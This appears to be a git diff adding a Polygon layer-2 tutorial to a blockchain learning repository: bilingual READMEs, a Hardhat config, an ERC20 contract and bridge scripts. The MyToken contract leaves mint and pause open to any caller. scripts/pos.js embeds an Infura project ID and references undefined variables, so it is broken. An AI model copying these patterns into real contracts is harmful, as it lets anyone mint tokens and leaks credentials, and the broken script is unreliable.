+// When running the script with `hardhat run <script>` you'll find the Hardhat
+// Runtime Environment's members available in the global scope.
+const { ethers } = require("hardhat");
+
+async function main() {
+
+    const [owner] = await ethers.getSigners();
+
+    // Optimism proxy contract address is 0x4200000000000000000000000000000000000010
+    const artifactL1ChugSplashProxy = artifacts.readArtifactSync("WithdrawProxy");
+    const l1ChugSplashProxy = new ethers.Contract("0x4200000000000000000000000000000000000010", artifactL1ChugSplashProxy.abi , owner );
+
+
+    console.log("Account balance:", (await owner.getBalance()).toString());
+
+    // withdraw eth to Optimism
+    let messageBytes = ethers.utils.toUtf8Bytes("");
+    await l1ChugSplashProxy.withdraw("0xDeadDeAddeAddEAddeadDEaDDEAdDeaDDeAD0000", ethers.utils.parseEther("0.0001"),0,messageBytes);
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch(error => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/29-Polygon(matic)-layer2/.env.example b/basic/29-Polygon(matic)-layer2/.env.example
new file mode 100644
index 000000000..50f4361fb
--- /dev/null
+++ b/basic/29-Polygon(matic)-layer2/.env.example
@@ -0,0 +1,2 @@
+PRIVATE_KEY=xxxx
+INFURA_ID=yyyyyyyy
\ No newline at end of file
diff --git a/Example29-layer2-matic/.gitignore b/basic/29-Polygon(matic)-layer2/.gitignore
similarity index 100%
rename from Example29-layer2-matic/.gitignore
rename to basic/29-Polygon(matic)-layer2/.gitignore
diff --git a/basic/29-Polygon(matic)-layer2/README-CN.md b/basic/29-Polygon(matic)-layer2/README-CN.md
new file mode 100644
index 000000000..775dde666
--- /dev/null
+++ b/basic/29-Polygon(matic)-layer2/README-CN.md
@@ -0,0 +1,191 @@
+# Polygon
+
+Polygon 的目标不是提供一两个扩展解决方案，而是创建一个生态系统，使其能够轻松连接多个不同的扩展解决方案——从具有不同共识机制的侧链到第二层网络，如 Plasma、Optimistic rollups 和 ZK rollups。
+
+Polygon 支持与以太坊兼容的两种区块链网络：独立网络（stand-alone network）和安全链（secured chain）
+
+- 独立网络依赖于它们自己的安全性，例如，它们可以有自己的共识模型，如权益证明（PoS）或委托权益证明（DPoS）
+- 安全链使用“安全即服务”模型。它可以由以太坊直接提供，例如通过 Plasma 使用的欺诈证明（fraud proofs），或由专业验证节点提供。这些验证节点运行在 Polygon 生态系统中，可以被多个项目共享——这个概念类似于波卡的共享安全模型
+
+当谈到 Polygon 的架构时，我们需要关注的主要要点是它被刻意地设计成通用和抽象的。这允许其他希望扩展的应用程序选择最适合其需求的扩展解决方案。
+
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/29-Polygon(matic)-layer2/matic.jpeg?raw=true" /></center>
+
+<br/>
+<br/>
+
+## Polygon 扩容方案
+
+<center>
+    <img src="./img/scalling.jpg" alt="matic.jpeg" style="zoom:50%;" />
+</center>
+
+## Matic Plasma Chain
+
+---
+
+[(Polygon Plasma Chain)](https://docs.matic.network/docs/develop/ethereum-matic/plasma/getting-started) Plasma 允许使用者将交易从主链转移到子链，从而实现快速和廉价的交易。Plasma 的一个缺点是用户从第 2 层网络中提取资金需要很长的等待时间。Plasma 不能用于扩展通用的智能合约。
+
+## Matic PoS Chain
+
+---
+
+[(Polygon PoS Chain)](https://docs.matic.network/docs/develop/ethereum-matic/pos/getting-started/) Matic PoS Chain 是一个未经许可的侧链，它与以太坊链并行运行。该链由具有自身验证节点的权益证明共识机制来保护。尽管 Matic PoS Chain 有自己的共识机制，但在验证节点 staking 和检查点方面，它也依赖于以太坊的安全性。
+
+## Polygon Hermez ZKRollup
+
+---
+
+[(Hermez ZKEvm)](https://www.chainnews.com/articles/018319341743.htm) 基于简洁的有效性证明（又称零知识证明）的以太坊第 2 层解决方案，在以太坊上定期提交和验证。
+
+## Polygon SDK
+
+---
+
+[(Polygon SDK)](https://polygon.technology/polygon-sdk/) 一个模块化和可扩展的框架，用于构建兼容 Ethereum 的区块链网络，用 Golang 编写。
+
+## Polygon Avail
+
+---
+
+[(Polygon Data Avail)](https://blog.polygon.technology/introducing-avail-by-polygon-a-robust-general-purpose-scalable-data-availability-layer-98bc9814c048) Avail 是一个通用的、可扩展的、专注于数据可用性的区块链，针对独立链、侧链和链外扩展解决方案。
+
+## maticjs-ethers例子
+
+maticjs-ethers集成了ethers.js，可以用于交互Polygon的主链和子链，下面我们使用hardhat分别在8545端口和8546端口启动节点，来模拟Layer1和Layer2
+
+启动L1节点
+
+```bash
+npx hardhat node
+```
+
+在另一个终端启动L2节点
+
+```bash
+npx hardhat node --port 8546
+```
+
+在L1和L2上都部署一个ERC20合约
+
+```bash
+$ npx hardhat run scripts/sample-script.js --network localhost 
+# result
+Compiled 34 solidity files successfully(evm target: paris).
+Greeter deployed to:0x5FbDB2315678afecb367f032d93F642f64180aa3
+myToken deployed to:0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512
+
+$ npx hardhat run scripts/sample-script.js --network localhost12
+# result
+Greeter deployed to:0x5FbDB2315678afecb367f032d93F642f64180aa3
+myToken deployed to:0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512
+```
+
+部署完成后，将合约地址填写到maticjs-ethers/src/config.js文件中
+
+```javascript
+ERC20: {
+    parent: {
+      ether: '0x0000000000000000000000000000000000000000',
+      erc20: '0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512'
+    },
+    child: {
+      ether: '0x0000000000000000000000000000000000000000',
+      erc20: '0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512'
+    },
+  },
+```
+
+进入maticjs-ethers目录
+
+```bash
+cd maticjs-ethers
+cp .env.example .env
+```
+
+将下面的内容填写到`.env`文件中，这里我们选择hardhat测试账户的前两个账户分别作为USER1和USER2
+
+```
+USER1_FROM=0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
+USER1_PRIVATE_KEY=0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80
+USER2_FROM=0x70997970C51812dc3A010C7d01b50e0d17dc79C8
+PARENT_RPC=http://localhost:8545
+CHILD_RPC=http://localhost:8546
+```
+
+测试余额和转账操作，可能由于浮点数的问题，erc20TokenL1Balance0fTo在第一次的结果不为0，但是之后就正常了。
+```bash
+$ node src/index.js
+# result
+erc20TokenL1Balance:10000
+erc20TokenL2Balance:10000
+erc20TokenL1Balance0fTo:1e-16
+txHash 0x00a78e8b274c491a2ace68c51f021b5fff5bce4e165cad58ca8ac4d6035b26ac
+erc20TokenL1Balance0fTo after transfer:10
+erc20TokenL1Balance after transfer:9990
+```
+如果希望在L1和L2之间实现资产的跨链，还需要部署相关的bridge合约，maticjs-ethers也支持相关的deposit操作和withdraw操作，有兴趣可以尝试下。
+
+<br/>
+<br/>
+
+# 参考资源
+
+## 1 综合资源
+
+---
+
+### Polygon 介绍
+
+- [Polygon 精简介绍](https://biquan365.com/12636.html)
+- [Polygon 基础介绍和使用教程](https://www.yuque.com/docs/share/8e737364-c380-418e-af21-0f07095fe900)
+- [Polygon 架构](https://docs.matic.network/docs/contribute/matic-architecture)
+- [Polygon 上的 Meta-transactions](https://docs.matic.network/docs/develop/metatransactions/getting-started)
+- [Matic Network 白皮书中文版](https://www.chainnews.com/articles/022315243415.htm)
+
+### 官方网站
+
+- [Polygon 官网](https://polygon.technology/)
+- [Polygon 网络浏览器](https://polygonscan.com/)
+- [Polygon 文档](https://docs.matic.network/)
+- [Awesome Polygon (所有在 Polygon 网络上部署的项目)](http://awesomepolygon.com/)
+
+### 开发者入口
+
+- [Polygon 开发入门](https://docs.matic.network/docs/develop/getting-started)
+- [Matic 主网](https://rpc-mainnet.maticvigil.com)
+- [Mumbai 测试网](https://rpc-mumbai.maticvigil.com)
+- [Polygon 测试币](https://faucet.matic.network/)
+
+## 2 Polygon 申请
+
+---
+
+- [Polygon 官宣申请表](https://airtable.com/shrDaWf1UYNzkhTbg)
+- [Polygon Grant 申请](https://polygon.technology/developer-support-program/)
+
+## 3 Polygon 开发者资源
+
+---
+
+### How to
+
+- [如何使用预言机](https://docs.matic.network/docs/develop/oracles/getting-started)
+- [如何使用 Chainlink](https://docs.matic.network/docs/develop/oracles/chainlink)
+- [如何接入支付工具](https://docs.matic.network/docs/develop/fiat-on-ramp)
+- [如何使用 TheGraph](https://docs.matic.network/docs/develop/graph)
+- [如何使用 hardhat](https://docs.matic.network/docs/develop/hardhat/)
+- [如何设置 Infura RPC](https://www.youtube.com/watch?v=jz6idHfMGvk)
+
+### 工具
+
+- [Gas 费预测](https://docs.matic.network/docs/develop/tools/matic-gas-station/#usage)
+- [Polygon 网络浏览器的 APIs](https://polygonscan.com/apis)
+- [Matic.js SDK](https://github.com/maticnetwork/matic.js)
+- [Alchemy 开发者工具套件](https://www.alchemy.com/)
+- [Decentology Dapp 模版](https://dappstarter.decentology.com/)
+
+### 教程
+
+- [在 Polygon 上创建 NFT，资产部署在 IPFS 上](https://medium.com/pinata/how-to-create-layer-2-nfts-with-polygon-and-ipfs-aef998ff8ef2)
+- [以太坊二层 Polygon 网络 NFT 开发教程](https://cloud.tencent.com/developer/article/1828250)
diff --git a/Example29-layer2-matic/contracts/Greeter.sol b/basic/29-Polygon(matic)-layer2/contracts/Greeter.sol
similarity index 100%
rename from Example29-layer2-matic/contracts/Greeter.sol
rename to basic/29-Polygon(matic)-layer2/contracts/Greeter.sol
diff --git a/basic/29-Polygon(matic)-layer2/contracts/MyToken.sol b/basic/29-Polygon(matic)-layer2/contracts/MyToken.sol
new file mode 100644
index 000000000..e99be56b2
--- /dev/null
+++ b/basic/29-Polygon(matic)-layer2/contracts/MyToken.sol
@@ -0,0 +1,53 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.20;
+
+import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
+import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
+import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Pausable.sol";
+import "@openzeppelin/contracts/access/Ownable.sol";
+import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Permit.sol";
+import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Votes.sol";
+import "@openzeppelin/contracts/token/ERC20/extensions/ERC20FlashMint.sol";
+
+contract MyToken is ERC20, ERC20Burnable, ERC20Pausable, ERC20Permit, ERC20Votes, ERC20FlashMint {
+    constructor()
+        ERC20("MyToken", "MTK")
+        ERC20Permit("MyToken")
+    {
+        _mint(msg.sender, 10000 * 10 ** decimals());
+    }
+
+    function pause() public {
+        _pause();
+    }
+
+    function unpause() public {
+        _unpause();
+    }
+
+    function mint(address to, uint256 amount) public {
+        _mint(to, amount);
+    }
+
+    // The following functions are overrides required by Solidity.
+
+    function _update(address from, address to, uint256 value)
+        internal
+        override(ERC20, ERC20Pausable, ERC20Votes)
+    {
+        super._update(from, to, value);
+    }
+
+    function nonces(address owner)
+        public
+        view
+        override(ERC20Permit, Nonces)
+        returns (uint256)
+    {
+        return super.nonces(owner);
+    }
+
+    function balance(address owner) public view returns (uint256){
+        return balanceOf(owner);
+    }
+}
\ No newline at end of file
diff --git a/basic/29-Polygon(matic)-layer2/hardhat.config.js b/basic/29-Polygon(matic)-layer2/hardhat.config.js
new file mode 100644
index 000000000..3074b0aa0
--- /dev/null
+++ b/basic/29-Polygon(matic)-layer2/hardhat.config.js
@@ -0,0 +1,100 @@
+require("@nomiclabs/hardhat-waffle");
+require('dotenv').config()
+// const fs = require("fs");
+// This is a sample Hardhat task. To learn how to create your own go to
+// https://hardhat.org/guides/create-task.html
+task("accounts", "Prints the list of accounts", async () => {
+  const accounts = await ethers.getSigners();
+
+  for (const account of accounts) {
+    console.log(account.address);
+  }
+});
+
+function mnemonic() {
+ // return fs.readFileSync("./sk.txt").toString().trim();
+ return process.env.PRIVATE_KEY;
+ 
+ 
+}
+
+// You need to export an object to set up your config
+// Go to https://hardhat.org/config/ to learn more
+/**
+ * @type import('hardhat/config').HardhatUserConfig
+ */
+module.exports = {
+  solidity: {
+    compilers: [
+      {
+        version: '0.8.0',
+      },
+      {
+        version: '0.7.0',
+        settings: {},
+      },
+      {
+        version: '0.8.20',
+      }
+    ],
+  },
+  networks: {
+    localhost: {
+      url: "http://localhost:8545",
+      //gasPrice: 125000000000,//you can adjust gasPrice locally to see how much it will cost on production
+      /*
+        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
+        (you can put in a mnemonic here to set the deployer locally)
+      */
+    },
+    localhostl2: {
+      url: "http://localhost:8546",
+      //gasPrice: 125000000000,//you can adjust gasPrice locally to see how much it will cost on production
+      /*
+        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
+        (you can put in a mnemonic here to set the deployer locally)
+      */
+    },
+    rinkeby: {
+      url: "https://rinkeby.infura.io/v3/" + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+    kovan: {
+      url: "https://kovan.infura.io/v3/" + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+    mainnet: {
+      url: "https://mainnet.infura.io/v3/" + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+    ropsten: {
+      url: "https://ropsten.infura.io/v3/" + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+    matic: {
+      url: "https://polygon-mainnet.infura.io/v3/" + process.env.INFURA_ID,
+      accounts: [
+        mnemonic()
+      ]
+    },
+    matic_mumbai: {
+      url: "https://polygon-mumbai.infura.io/v3/" + process.env.INFURA_ID,
+      accounts: [
+        mnemonic()
+      ]
+    },
+  },
+  mocha: {
+    timeout: 20000
+  }
+};
+
+
diff --git a/basic/29-Polygon(matic)-layer2/img/scalling.jpg b/basic/29-Polygon(matic)-layer2/img/scalling.jpg
new file mode 100644
index 000000000..6b84b7204
Binary files /dev/null and b/basic/29-Polygon(matic)-layer2/img/scalling.jpg differ
diff --git a/basic/29-Polygon(matic)-layer2/maticjs-ethers/.env.example b/basic/29-Polygon(matic)-layer2/maticjs-ethers/.env.example
new file mode 100644
index 000000000..c297cee8c
--- /dev/null
+++ b/basic/29-Polygon(matic)-layer2/maticjs-ethers/.env.example
@@ -0,0 +1,5 @@
+USER1_FROM=0x
+USER1_PRIVATE_KEY=0x
+USER2_FROM=0x
+PARENT_RPC=
+CHILD_RPC=
\ No newline at end of file
diff --git a/basic/29-Polygon(matic)-layer2/maticjs-ethers/package.json b/basic/29-Polygon(matic)-layer2/maticjs-ethers/package.json
new file mode 100644
index 000000000..d5e3d7ed3
--- /dev/null
+++ b/basic/29-Polygon(matic)-layer2/maticjs-ethers/package.json
@@ -0,0 +1,15 @@
+{
+  "name": "maticjs-ethers",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "@maticnetwork/maticjs-ethers": "^1.1.0",
+    "hardhat": "^2.22.5"
+  }
+}
diff --git a/basic/29-Polygon(matic)-layer2/maticjs-ethers/src/config.js b/basic/29-Polygon(matic)-layer2/maticjs-ethers/src/config.js
new file mode 100644
index 000000000..da70ff82e
--- /dev/null
+++ b/basic/29-Polygon(matic)-layer2/maticjs-ethers/src/config.js
@@ -0,0 +1,35 @@
+const dotenv = require('dotenv');
+const path = require('path');
+const env = dotenv.config({
+  path: path.join(__dirname, '../.env')
+});
+
+if (env.error) {
+  throw new Error("no env file found");
+}
+
+module.exports = {
+  rpc: {
+    parent: process.env.PARENT_RPC,
+    child: process.env.CHILD_RPC,
+  },
+  ERC20: {
+    parent: {
+      ether: '0x0000000000000000000000000000000000000000',
+      erc20: '0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512'
+    },
+    child: {
+      ether: '0x0000000000000000000000000000000000000000',
+      erc20: '0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512'
+    },
+  },
+  user1: {
+    // '<paste your private key here>' - A sample private key prefix with `0x`
+    privateKey: process.env.USER1_PRIVATE_KEY,
+    //'<paste address belonging to private key here>', Your address
+    address: process.env.USER1_FROM
+  },
+  user2: {
+    address: process.env.USER2_FROM
+  }
+}
diff --git a/basic/29-Polygon(matic)-layer2/maticjs-ethers/src/index.js b/basic/29-Polygon(matic)-layer2/maticjs-ethers/src/index.js
new file mode 100644
index 000000000..dad99b645
--- /dev/null
+++ b/basic/29-Polygon(matic)-layer2/maticjs-ethers/src/index.js
@@ -0,0 +1,34 @@
+const { getPosClient, from, to , ERC20} = require('./pos');
+
+const execute = async () => {
+    const client = await getPosClient();
+    const erc20TokenL1 = client.erc20(ERC20.parent.erc20, true);
+    const erc20TokenL2 = client.erc20(ERC20.child.erc20, false);
+    let erc20TokenL1Balance = await erc20TokenL1.getBalance(from);
+    const erc20TokenL2Balance = await erc20TokenL2.getBalance(from);
+    console.log("erc20TokenL1Balance: ", erc20TokenL1Balance/1e18);
+    console.log("erc20TokenL2Balance: ", erc20TokenL2Balance/1e18);
+
+    let erc20TokenL1BalanceOfTo = await erc20TokenL1.getBalance(to);
+    console.log("erc20TokenL1BalanceOfTo: ", erc20TokenL1BalanceOfTo/1e18);
+
+    const transferResult = await erc20TokenL1.transfer("10000000000000000000", to, {
+        gasPrice: '30000000000',
+    });
+
+    txHash = await transferResult.getTransactionHash();
+    console.log("txHash", txHash);
+
+    erc20TokenL1BalanceOfTo = await erc20TokenL1.getBalance(to);
+    console.log("erc20TokenL1BalanceOfTo after transfer: ", erc20TokenL1BalanceOfTo/1e18);
+
+    erc20TokenL1Balance = await erc20TokenL1.getBalance(from);
+    console.log("erc20TokenL1Balance after transfer: ", erc20TokenL1Balance/1e18);
+}
+execute().then(() => {
+}).catch(err => {
+    console.error("err", err);
+
+}).finally(_ => {
+    process.exit(0);
+})
\ No newline at end of file
diff --git a/basic/29-Polygon(matic)-layer2/maticjs-ethers/src/pos.js b/basic/29-Polygon(matic)-layer2/maticjs-ethers/src/pos.js
new file mode 100644
index 000000000..34be0c399
--- /dev/null
+++ b/basic/29-Polygon(matic)-layer2/maticjs-ethers/src/pos.js
@@ -0,0 +1,42 @@
+const { POSClient, use } = require("@maticnetwork/maticjs")
+const { Web3ClientPlugin } = require('@maticnetwork/maticjs-ethers')
+const { providers, Wallet } = require("ethers");
+const config = require('./config')
+
+// install web3 plugin
+use(Web3ClientPlugin);
+
+const parentProvider = new providers.JsonRpcProvider(config.rpc.parent);
+const childProvider = new providers.JsonRpcProvider(config.rpc.child);
+
+const privateKey = config.user1.privateKey
+const fromAddress = config.user1.address
+
+const getPosClient = async (network = 'testnet', version = 'mumbai') => {
+  const posClient = new POSClient();
+  return posClient.init({
+    network: network,
+    version: version,
+    parent: {
+      provider: new Wallet(privateKey, parentProvider),
+      defaultConfig: {
+        from: fromAddress
+      }
+    },
+    child: {
+      provider: new Wallet(privateKey, childProvider),
+      defaultConfig: {
+        from: fromAddress
+      }
+    }
+  });
+}
+
+
+module.exports = {
+  getPosClient: getPosClient,
+  from: config.user1.address,
+  privateKey: config.user1.privateKey,
+  to: config.user2.address,
+  ERC20: config.ERC20
+}
\ No newline at end of file
diff --git a/basic/29-Polygon(matic)-layer2/package.json b/basic/29-Polygon(matic)-layer2/package.json
new file mode 100644
index 000000000..265de31b9
--- /dev/null
+++ b/basic/29-Polygon(matic)-layer2/package.json
@@ -0,0 +1,16 @@
+{
+  "name": "hardhat-project",
+  "devDependencies": {
+    "@maticnetwork/maticjs": "2.0.43",
+    "@nomiclabs/hardhat-ethers": "^2.0.2",
+    "@nomiclabs/hardhat-waffle": "^2.0.1",
+    "chai": "^4.3.4",
+    "dotenv": "10.0.0",
+    "ethereum-waffle": "^3.3.0",
+    "ethers": "^5.3.1",
+    "hardhat": "^2.3.3"
+  },
+  "dependencies": {
+    "@openzeppelin/contracts": "^5.0.2"
+  }
+}
diff --git a/basic/29-Polygon(matic)-layer2/principle.md b/basic/29-Polygon(matic)-layer2/principle.md
new file mode 100644
index 000000000..74d717ec8
--- /dev/null
+++ b/basic/29-Polygon(matic)-layer2/principle.md
@@ -0,0 +1,36 @@
+# Polygon
+
+[matic官方文档](https://docs.polygon.technology/tools/matic-js/get-started/)
+
+## 原理
+Currently, developers can use Plasma for specific state transitions for which Plasma predicates have been written such as ERC20, ERC721, asset swaps or other custom predicates. For arbitrary state transitions, they can use PoS. Or both! This is made possible by Matic's hybrid construction.
+POS chain
+Plasma chain （Plasma Bridge）
+
+A bridge is basically a set of contracts that help in moving assets from the root chain to the child chain. 
+However, there are certain restrictions on the child token and there is a 7-day withdrawal period associated with all exits/withdraws from Matic to Ethereum on the Plasma bridge
+7天延迟从matic撤回主网
+
+The PoS Bridge is more flexible and features faster withdrawals.
+pos更快
+secured by a robust set of external validators.
+
+两部分 主链/ 子链
+
+L1- L2 交互
+1 状态同步  验证着周期提供所有交易的hash到主链， 检查点用于验证发生在matic上的任何交易，
+2
+马蹄的验证者需要持续监控链上合约 称为状态发送者  
+
+
+
+
+## 参考链接
+
+https://www.yuque.com/docs/share/8e737364-c380-418e-af21-0f07095fe900
+
+使用教程: https://cloud.tencent.com/developer/article/1828250
+
+hardhat: https://docs.polygon.technology/tools/dApp-development/common-tools/hardhat/?h=hardhat
+
+https://medium.com/pinata/how-to-create-layer-2-nfts-with-polygon-and-ipfs-aef998ff8ef2
diff --git a/basic/29-Polygon(matic)-layer2/readme.md b/basic/29-Polygon(matic)-layer2/readme.md
new file mode 100644
index 000000000..1988a31a4
--- /dev/null
+++ b/basic/29-Polygon(matic)-layer2/readme.md
@@ -0,0 +1,111 @@
+# Polygon
+Polygon is not just wants to provide a scaling solution, but wants to create an ecosystem that links all of the different scaling solutions, such as Plasma, Optimistic, rollups and ZK rollups. 
+
+Right now, Polygon supports two types of Ethereum-compatible networks: stand-alone network && secured chain:  
+- Stand-alone networks rely on their own security, for example, they have their own consensus model, such as Proof of Stake (PoS) or Delegated Proof of Stake (DPoS)   
+- Secured chains use a "security-as-a-service" model. It can be provided directly by Ethereum, for example through fraud proofs used by Plasma, or by specialized verification nodes. These validation nodes run in the Polygon ecosystem and can be shared by multiple projects - a concept similar to Poca's shared security model  
+
+The main point to focus on when it comes to Polygon's architecture is that it is deliberately designed to be generic and abstract. This allows other applications that wish to extend to choose the extended solution that best suits their needs.  
+
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/29-Polygon(matic)-layer2/matic.jpeg?raw=true" /></center>
+
+<br/>
+<br/>
+
+## Polygon scaling solution  
+
+<center>
+    <img src="./img/scalling.jpg" alt="matic.jpeg" style="zoom:50%;" />
+</center>
+
+## Polygon Plasma Chain
+
+---
+
+[(Polygon Plasma Chain)](https://docs.polygon.technology/docs/develop/ethereum-polygon/plasma/getting-started/)  
+Users can transfer assets from Ethereum network to polygon network through Plasma, on which the fee is very low.  
+But here is a drawback with it. That users need to wait for a long time when withdraw asset back to Ethereum network. 
+
+## Polygon State Transfer  
+
+---
+
+[(Polygon State Transfer)](https://docs.polygon.technology/docs/develop/l1-l2-communication/state-transfer)   
+Polygon validators continuously monitor a contract on Ethereum chain called StateSender. Each time a registered contract on Ethereum chain calls this contract, it emits an event. Using this event Polygon validators relay the data to another contract on Polygon chain. This StateSync mechanism is used to send data from Ethereum to Polygon.
+
+Polygon validators also periodically submit a hash of all transactions on Polygon chain to Ethereum chain. This Checkpoint can be used to verify any transaction that happened on Polygon. Once a transaction is verified to have happened on Polygon chain, action can be taked accordingly on Ethereum.
+
+## Polygon SDK
+
+---
+
+[(Polygon SDK)](https://polygon.technology/polygon-sdk/) A modular and scalable framework for building Ethereum-compatible blockchain networks, written in Golang.
+
+## Polygon Avail
+
+---
+
+[(Polygon Data Avail)](https://blog.polygon.technology/introducing-avail-by-polygon-a-robust-general-purpose-scalable-data-availability-layer-98bc9814c048) Avail is a general-purpose, scalable data availability-focused blockchain targeted for standalone chains, sidechains, and off-chain scaling solutions.
+
+<br/>
+<br/>
+
+# References 
+
+## 1 Resources 
+
+---
+
+### Polygon Introduction 
+
+- [Polygon brief introudction](https://biquan365.com/12636.html)
+- [Polygon tutorial](https://www.yuque.com/docs/share/8e737364-c380-418e-af21-0f07095fe900)
+- [Polygon framework](https://docs.matic.network/docs/contribute/matic-architecture)
+- [Polygon Meta-transactions](https://docs.matic.network/docs/develop/metatransactions/getting-started)
+- [Matic Network WhitePaper](https://www.chainnews.com/articles/022315243415.htm)
+
+### Official Website
+
+- [Polygon website](https://polygon.technology/)
+- [Polygon scan](https://polygonscan.com/)
+- [Polygon official docs](https://docs.matic.network/)
+- [Awesome Polygon (Projects deployed on polygon)](http://awesomepolygon.com/)
+
+### Developer Portal  
+
+- [Polygon development docs](https://docs.matic.network/docs/develop/getting-started)
+- [Matic mainnet](https://rpc-mainnet.maticvigil.com)
+- [Mumbai testnet](https://rpc-mumbai.maticvigil.com)
+- [Polygon faucet](https://faucet.matic.network/)
+
+## 2 Polygon Application 
+
+---
+
+- [Polygon Official Application Form](https://airtable.com/shrDaWf1UYNzkhTbg)
+- [Polygon Grant](https://polygon.technology/developer-support-program/)
+
+## 3 Polygon development resources  
+
+---
+
+### How to
+
+- [Polygon oracle](https://docs.matic.network/docs/develop/oracles/getting-started)
+- [Polygon With Chainlink](https://docs.matic.network/docs/develop/oracles/chainlink)
+- [Polygon With TheGraph](https://docs.matic.network/docs/develop/graph)
+- [Polygon With hardhat](https://docs.matic.network/docs/develop/hardhat/)
+- [Polygon Infura RPC Setup](https://www.youtube.com/watch?v=jz6idHfMGvk)
+
+### Tools  
+
+- [Gas estimate](https://docs.matic.network/docs/develop/tools/matic-gas-station/#usage)
+- [Polygon scan APIs](https://polygonscan.com/apis)
+- [Matic.js SDK](https://github.com/maticnetwork/matic.js)
+- [Alchemy Developer Tool Suite](https://www.alchemy.com/)
+- [Decentology Dapp Template](https://dappstarter.decentology.com/)
+
+### Tutorial 
+
+- [Create NFT on polygon，upload images to IPFS](https://medium.com/pinata/how-to-create-layer-2-nfts-with-polygon-and-ipfs-aef998ff8ef2)
+- [How to create NFT on polygon](https://cloud.tencent.com/developer/article/1828250)
diff --git a/basic/29-Polygon(matic)-layer2/scripts/plasma.js b/basic/29-Polygon(matic)-layer2/scripts/plasma.js
new file mode 100644
index 000000000..4a34a11b3
--- /dev/null
+++ b/basic/29-Polygon(matic)-layer2/scripts/plasma.js
@@ -0,0 +1,56 @@
+
+const { waffle } = require("hardhat");
+
+const utils = require('./utils')
+
+async function execute() {
+    const { matic, network } = await utils.getMaticClient()
+    const { from } = utils.getAccount()
+    
+    const token = network.Main.Contracts.Tokens.MaticWeth
+    const amount = matic.web3Client.web3.utils.toWei('1.567')
+    
+    // deposit
+    await matic.depositEther(token, from, amount).then((res) => {
+    console.log("deposit hash: ", res.transactionHash)
+    })
+    //When a token is deposited from Ethereum to Matic, a process called state sync mechanism comes into play that eventually mints the tokens for the user on the Matic chain
+    
+    // transfer
+    const recipient = "0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266";
+    
+    const amount1 = matic.web3Client.web3.utils.toWei("1.23");
+    
+    await matic.transferEther(recipient, amount1, { from, parent: false })
+        .then((res) => {
+            console.log("Transfer hash: ", res.transactionHash);
+        });
+
+     //withdraw
+    // 1 burn
+    const amount2 = matic.web3Client.web3.utils.toWei("5.678");
+    
+    await matic.startWithdraw(token, amount2, { from }).then((res) => {
+        console.log("Burn hash: ", res.transactionHash);
+    });
+    
+    // wait 30m
+    
+    //This function can be called only after the checkpoint is included in the main chain
+    // 2 confirm-withdraw
+    const txHash = "<>";
+    await matic.withdraw(txHash, { from, gas: "7000000" }).then((res) => {
+        console.log("Confirm withdraw hash: ", res.transactionHash);
+    });
+    
+    //Process Exit
+    await matic.processExits(token, { from, gas: 7000000 }).then((res) => {
+        console.log("Exit hash: ", res.transactionHash);
+    });
+    
+    
+    
+    
+}
+
+execute().then(_ => process.exit(0))
\ No newline at end of file
diff --git a/basic/29-Polygon(matic)-layer2/scripts/pos.js b/basic/29-Polygon(matic)-layer2/scripts/pos.js
new file mode 100644
index 000000000..af853caa5
--- /dev/null
+++ b/basic/29-Polygon(matic)-layer2/scripts/pos.js
@@ -0,0 +1,40 @@
+
+const { waffle } = require("hardhat");
+
+async function main() {
+    const [owner] = await ethers.getSigners();
+    console.log("owner address ",owner.address)
+    let result = await owner.getBalance();
+    console.log("balance ", ethers.utils.formatEther(result))
+    
+    const parentProvider = 'https://goerli.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07'
+    const maticProvider = 'https://polygon-mumbai.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07'
+    // for mumbai testnet
+    const maticPOSClient = new MaticPOSClient({
+        network: "testnet",
+        version: "mumbai",
+        parentProvider: parentProvider,
+        maticProvider: maticProvider});
+    
+    //deposit
+    await maticPOSClient.depositEtherForUser(from, amount, {
+        from,
+        gasPrice: "10000000000",
+    });
+    //  takes about ~5-7 minutes.
+    
+    //burn
+    await maticPOSClient.burnERC20(childToken, amount, { from });
+    
+    
+    await maticPOSClient.exitERC20(burnTxHash, { from });
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+    .then(() => process.exit(0))
+    .catch(error => {
+        console.error(error);
+        process.exit(1);
+    });
diff --git a/basic/29-Polygon(matic)-layer2/scripts/sample-script.js b/basic/29-Polygon(matic)-layer2/scripts/sample-script.js
new file mode 100644
index 000000000..a2cb079ca
--- /dev/null
+++ b/basic/29-Polygon(matic)-layer2/scripts/sample-script.js
@@ -0,0 +1,39 @@
